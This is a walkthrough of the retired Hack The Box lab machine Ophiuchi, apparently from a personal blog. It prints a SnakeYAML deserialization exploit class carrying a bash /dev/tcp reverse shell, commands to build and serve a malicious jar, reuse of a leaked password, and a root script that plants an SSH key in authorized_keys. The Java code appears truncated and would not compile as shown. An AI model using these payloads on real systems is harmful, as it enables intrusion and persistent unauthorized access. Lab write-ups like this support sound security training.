This post documents the complete walkthrough of Ophiuchi, a retired vulnerable VM created by felamos, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Ophiuchi is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 --rate=500
Starting masscan 1.3.2 ( at 2021-02-15 10:13:11 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on
Discovered open port 8080/tcp on

Nothing interesting at this point in time. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,8080 -A --reason -oN nmap.txt
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open  http    syn-ack ttl 63 Apache Tomcat 9.0.38
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Parse YAML

Well, the only “interesting” service is http. This is what it looks like.

SnakeYAML Deserialization

See what happens when you POST to /Servlet with nothing.

This is what you get.

Looks like the YAML Parser is using SnakeYAML, which is susceptible to a deserialization attack. Check out this YAML payload.

The moment I hit the Parse button, this appears on my netcat listener.


Taking a leaf from above attack, this is my exploit. I’m running a reverse shell back to myself.
package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            String[] cmd = { "/bin/bash", "-c", "bash -i >& /dev/tcp/ 0>&1" };
        } catch (IOException e) {

    public String getEngineName() {
        return null;

    public String getEngineVersion() {
        return null;

    public List<String> getExtensions() {
        return null;

    public List<String> getMimeTypes() {
        return null;

    public List<String> getNames() {
        return null;

    public String getLanguageName() {
        return null;

    public String getLanguageVersion() {
        return null;

    public Object getParameter(String key) {
        return null;

    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;

    public String getOutputStatement(String toDisplay) {
        return null;

    public String getProgram(String... statements) {
        return null;

    public ScriptEngine getScriptEngine() {
        return null;

Run the following commands.

javac src/artsploit/
jar -cvf evil.jar -C src/ .
python3 -m http.server 80

And use the following YAML payload.

The moment I hit the Parse button, a shell appears on my netcat listener!

From tomcat to admin

During enumeration of tomcat’s account, I notice the presence of another account, admin.

On top of that, I found a password (whythereisalimit) in tomcat-users.xml.

This happens to be the password of admin! The file user.txt is in admin’s home directory.

Privilege Escalation

During enumeration of admin’s account, I notice that admin is able to sudo the following.

On top of that, PasswordAuthentication is set to yes, so armed with admin’s password (whythereisalimit) we can simply use SSH to log in.

The WebAssembly Binary Toolkit

First up, let’s check out what’s in /opt/wasm-functions/index.go.

We can see that main.wasm is read from the current directory to import the info() function. And if info() returns 1, the script at the current directory is run by /bin/sh. Anything else, “Not ready to deploy” is printed to stdout. Let’s give that a shot at /home/admin and see what we get.

Now, do the same thing at /opt/wasm-functions.


wasm2wat is a tool from the WebAssembly Binary Toolkit to translate the WebAssembly binary format to WebAssembly text format. Suffice to say, I’ve already scp‘d a copy of main.wasm to my machine for further analysis. Kali Linux already has a wabt package, you just need to install it. :cool:

We can see that the exported info() function always return 0.


Here’s the game plan.

1) Modify main.wat such that info() function returns 1.

2) Translate main.wat (in WebAssembly text format) to main.wasm (in WebAssembly binary format).

3) Upload main.wasm and to somewhere writable, e.g. /var/tmp.

The script can be anything that helps get that root shell. It can be as simple as this.

mkdir -p /root/.ssh
echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICpCJoPyF7obqHBU1n+hWl0iUTel5NhNaujYf2WQa1gt >> /root/.ssh/authorized_keys

Here’s the game plan in action.

Bombs away…

Where’s my root shell?

Getting root.txt with a root shell is trivial.